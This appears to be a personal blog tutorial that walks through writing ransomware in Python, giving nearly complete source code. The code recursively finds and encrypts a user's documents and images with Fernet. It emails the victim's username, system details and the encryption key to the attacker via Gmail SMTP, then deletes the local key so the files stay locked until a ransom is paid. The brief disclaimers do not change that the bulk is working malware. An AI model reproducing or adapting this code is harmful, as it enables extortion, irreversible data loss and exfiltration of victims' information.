Simple Python Ransomware

Simple Python Ransomware

How To Write A Ransomware With Python In Under 100 Lines Of Code

Ransomware attacks have been one of the most lucrative businesses for cyber criminals in the past decade. Being passionate about cybersecurity, my approach has always been to learn by doing things myself. So I have decided to build a ransomware on my one. In the following article, I will showcase how easy it is for you [ and anyone ] to build a ransomware using Python.

What Is A Ransomware

Simply put, ransomware is a piece of software that blocks a user's access to files stored on the infected machine. In real life scenarios, bad players [ cyber criminals ] manage to infect the machine by using different means [ either exploiting known / 0 day vulnerabilities or by social engineering for example ]. Once infected, the software encrypts the user's files and the hackers ask for a ransom in order to provide the user with a decryption key.

A Python Implementation Of Ransomware

Python makes is extremely easy to code any program... and a ransomware is no exception. But before talking python, I just want to make sure we all agree on the fact that this tutorial is not intended to harm anyone and that the code we are describing should not be distributed with malicious intent.

Project Dependencies

For this project to run [ in under 100 lines of code ] we are going to use the following modules [ some built into Python, some external that need to be installed with pip ]:

  • argparse - to accept arguments from the command line
  • getpass - will use the getuser() method to get the username of the victim
  • os - to navigate between the infected machine's directories
  • pathlib - to generate dynamic paths
  • smtplib - to send victim's information to the attacker
  • platform - to gather more information about the victim's machine
  • cryptography - will use Fernet to encrypt victim's files
  • dotenv - to store email credentials
  • MIMEMultipart and MIMEText - to compose the email sent to the attacker

Ransomware Source Code

The full source code of this project is available on GitHub. Assuming that you have created your .py file to write the project, let's dive into the code. We begin by importing all the necessary modules into the project:

import argparse
import getpass
import os
import pathlib
import smtplib
import platform
from cryptography.fernet import Fernet
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from dotenv import load_dotenv

Since we are going to accept terminal arguments, we should define them with the help of the argparse module:

parser = argparse.ArgumentParser(description=f'Your files have been encrypted. Contact us ({os.environ.get("gmail_account")}) for further details and to get the decryption key.')
parser.add_argument('-k', '--key', type=str, metavar='', help='add cryptographic key to decrypt the document')
parser.add_argument('-b', '--backup', help='add cryptographic key to decrypt the document', action='store_true')
parser.add_argument('-d', '--directory', type=str, metavar='', help='add cryptographic key to decrypt the document', default='Desktop')
args = parser.parse_args()
  1. The key attribute will be used to point to the location of the cryptographic key used to decrypt the victim's files.
  2. The backup switch is for our own protection and will be used later on to prevent the deletion of the cryptographic key from the machine during testing.
  3. And the directory attribute is used to point to a specific directory that we want to test on [ all files on that directory will be encrypted ].

Note that in a real life scenario, the attacker might not use arguments at all, or would only use the key attribute to accommodate the decryption of the victim's files.

We will make this a functional program, and so we will wrap each task into different functions. To begin with, let's define a function that will help us navigate between directories:

def navigate_to_target_directory(directory_name):
    folder_location = pathlib.Path.home() / directory_name
    os.chdir(folder_location)
    return folder_location

Next, we need a method to get all the files in a specific directory. However, for the attack to be as efficient as possible, we want to iterate through all possible subdirectories and encrypt as many files as we can.

def get_files_in_dir(current_directory):
    targeted_file_types = [ '.png', '.jpg', 'jpeg','.doc', '.docx', '.xls', '.xlsx', '.pdf', '.csv', '.zip' ]
    file_list = []
    for root, subdirectories, files in os.walk(current_directory):
        for file in files:
            for file_type in targeted_file_types:
                if file_type in file:
                    file_list.append(os.path.join(root, file))    
        for subdirectory in subdirectories:    
            get_files_in_dir(subdirectory) 
    return file_list

So what we are doing is to define a function that takes the path of the directory as an argument. Then we specify which file extensions we are targeting [ we've named just a few in our list, but you can add as many as you want ]. Then we define file_list as an empty list that will be populated in the for loop with the paths of all files discovered in the directory and its subdirectories.

We want to be able to leverage as many data on the attack as we can. Because it is easier to send emails that to set up servers with open ports to listen to our attacks, we are going to use emails as a means to communicate between us [ the attacker ] and the malware distributed to our victim's machine:

We will use gmail for the purpose of this project, but you are free to register your email address with any provider you chose.

def send_email():
    load_dotenv() 
    email_address = os.environ.get("gmail_account")
    password = os.environ.get("gmail_password")
    msg = MIMEMultipart()
    msg['Subject'] = f'New Victim - { getpass.getuser() }'
    msg['From'] = email_address
    msg['to'] = email_address
    crypto_key = f'{pathlib.Path(__file__).parent.absolute()}/cryptographic_key.key'
    msg_body = ( 
        f'Username: {getpass.getuser()} \n'
        f'\n'
        f'System: {platform.uname().system} \n'
        f'None: {platform.uname().node} \n'
        f'Release: {platform.uname().release} \n'
        f'Version: {platform.uname().version} \n'
        f'Machine: {platform.uname().machine} \n'
        f'Processor: {platform.uname().processor} \n'
        f'\n'
        f'Cryptographic Key: { open(crypto_key).read() } \n'
        )
    msg.attach(MIMEText(msg_body,'plain'))
    try:
        smtp_server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
        smtp_server.ehlo()
        smtp_server.login(email_address, password)
        smtp_server.sendmail(email_address, email_address, msg.as_string())
        smtp_server.close()
    except Exception as error_msg:
        print ("Error:",error_msg)

What this function does is to load the email_address and the password from the .env file. We format the email body using MIMEMultipart() [ for which we gather machine related information by leveraging the platform module ]. We start a smtp_server, login into gmail and send the message.

Note that, since we are using dotenv to store sensitive info [ email_address and password ] , we will also need to create a .env file. Inside it, just define the following variables and save it:

gmail_account='<YOUR_GMAIL_ADDRESS>'
gmail_password='<YOUR_GMAIL_PASSWORD>'

Any ransomware attack uses cryptography to basically prevent the victim's access to their files. For this, we will need two things: a cryptographic key and the means to encrypt the files. Here is how we are going to approach this:

def generate_key():
    key = Fernet.generate_key()
    with open('cryptographic_key.key', 'wb') as key_file:
        key_file.write(key)
    send_email()

def encrypt_files(file_list):
    with open(f'{pathlib.Path(__file__).parent.absolute()}/cryptographic_key.key', 'rb') as key_file:
        cryptographic_key = key_file.read()
    fernet = Fernet(cryptographic_key)
    if file_list:
        for document in file_list:
            with open(document, 'rb') as file:
                document_original = file.read()
            document_criptat = fernet.encrypt(document_original)
            with open(document, 'wb') as encrypted_document:
                encrypted_document.write(document_criptat)
        if args.backup == False:        
            os.remove(f'{pathlib.Path(__file__).parent.absolute()}/cryptographic_key.key') 
    else:
        print('No document in directory'

Above we have defined two functions. The first one uses the Fernet module to generate a cryptographic key, which is then stored in the current directory as cryptographic_key.key. Once created this file, we call the send_email function that will communicate us information about the attack.

The second function is where the actual encryption takes place. As you can see, it takes as an argument a file_list which will later see that is the same file list returned by the get_files_in_dir function. So what we are doing is to iterate through each document in that list and use Fernet's encrypt method encrypt and rewrite the original files with the contents of the encrypted one.

If the --backup switch is turned off, then we proceed to the deletion of the cryptographic key from the victim's machine, such that the victim will have to contact us [ the attacker ] in order to receive it. Remember we've sent the key via gmail.

And since we are already discussing decryption, here is how it's done:

def decrypt_files(file_list, cryptographic_key):
    fernet = Fernet(cryptographic_key)
    for document in file_list:
        with open(document, 'rb') as file:
            document_criptat = file.read()
        document_decriptat = fernet.decrypt(document_criptat)
        with open(document, 'wb') as encrypted_document:
            encrypted_document.write(document_decriptat)

We take the file_list that holds the encrypted files and the cryptographic_key as arguments and we iterate through all the files, using Fernet's decrypt this time. It's quite similar to the encryption function, except it decrypts...

We are now so close to finishing our Ransomware. All we have to do is to 'glue the pieces together' and find a use for the functions we have defined. And for a grand finale, I find it quite eleganant:

if args.key:
    directory = navigate_to_target_directory(args.directory)
    documents = get_files_in_dir(directory)
    decrypt_files(documents, args.key)
else:
    generate_key()
    directory = navigate_to_target_directory(args.directory)
    documents = get_files_in_dir(directory)
    encrypt_files(documents)

Basically, the code says: if we have a key, we should navigate to the encrypted directory, get all the files in it and decrypt the; else, just encrypt them.

Conclusions

Understanding malware and ransomware in particular takes a lot more effort in reality. Without the help of Fernet for example, one would need to read entire libraries of computer cryptography in order to master such a cyber attack. Today however, with the help of Python and the community, it only takes about half an hour to create a ransomware.

P.S. If you want to become a hacker, I would suggest you play on the good side and stay out of trouble. Do not use this software for bad purposes, but instead use it to learn how to code and how to help others by hacking.

Did you find this article valuable?

Support Mihnea's Blog by becoming a sponsor. Any amount is appreciated!